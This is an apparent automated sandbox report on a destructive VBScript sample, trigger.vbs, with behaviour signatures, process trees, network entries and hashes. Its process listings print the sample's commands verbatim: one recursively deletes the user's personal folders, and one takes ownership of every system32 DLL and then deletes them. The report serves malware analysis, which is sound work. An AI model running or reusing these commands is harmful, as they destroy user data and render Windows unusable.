Malware Analysis Report

2024-11-16 12:49

Sample ID 240809-zyj7tsygqn
Target trigger.vbs
SHA256 6d811ce895dd0383e794cef00804d44104196fb5bd263305fb3f10be77f24711
Tags
discovery exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

6d811ce895dd0383e794cef00804d44104196fb5bd263305fb3f10be77f24711

Threat Level: Likely malicious

The file trigger.vbs was found to be: Likely malicious.

Malicious Activity Summary

discovery exploit

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 21:07

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 21:07

Reported

2024-08-09 21:08

Platform

win7-20240705-en

Max time kernel

37s

Max time network

21s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1220 wrote to memory of 2984 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 1220 wrote to memory of 2984 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 1220 wrote to memory of 2984 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 1220 wrote to memory of 2856 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1220 wrote to memory of 2856 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1220 wrote to memory of 2856 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1220 wrote to memory of 2316 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1220 wrote to memory of 2316 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1220 wrote to memory of 2316 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2316 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2316 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2316 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2316 wrote to memory of 2608 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2316 wrote to memory of 2608 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2316 wrote to memory of 2608 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && rd /s /q C:\Users\Admin\downloads >nul && rd /s /q C:\Users\Admin\documents >nul && rd /s /q C:\Users\Admin\pictures >nul && rd /s /q C:\Users\Admin\music >nul && rd /s /q C:\Users\Admin\videos >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs

MD5 f26fac5fb386f062ec7c6f529905723a
SHA1 7f1d32c8f68f210738ec75894b9b229e5534364a
SHA256 a7a6e94c959d15b108d840c135a2ee9cb95c9a9408d4e7382a87855cf62da8eb
SHA512 6dc1d27bd905e0b0d2a72335ba435e766916066ae36271b6f4831b2863a8fce79254f901eeb482855e00d00764f14980006e3dabc43d9df7b7af20c340d617d4

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 21:07

Reported

2024-08-09 21:08

Platform

win10v2004-20240802-en

Max time kernel

49s

Max time network

51s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3328 wrote to memory of 4920 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 3328 wrote to memory of 4920 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 3328 wrote to memory of 3528 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3328 wrote to memory of 3528 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3328 wrote to memory of 4884 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3328 wrote to memory of 4884 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4884 wrote to memory of 2904 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4884 wrote to memory of 2904 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4884 wrote to memory of 4660 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4884 wrote to memory of 4660 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && rd /s /q C:\Users\Admin\downloads >nul && rd /s /q C:\Users\Admin\documents >nul && rd /s /q C:\Users\Admin\pictures >nul && rd /s /q C:\Users\Admin\music >nul && rd /s /q C:\Users\Admin\videos >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs

MD5 f26fac5fb386f062ec7c6f529905723a
SHA1 7f1d32c8f68f210738ec75894b9b229e5534364a
SHA256 a7a6e94c959d15b108d840c135a2ee9cb95c9a9408d4e7382a87855cf62da8eb
SHA512 6dc1d27bd905e0b0d2a72335ba435e766916066ae36271b6f4831b2863a8fce79254f901eeb482855e00d00764f14980006e3dabc43d9df7b7af20c340d617d4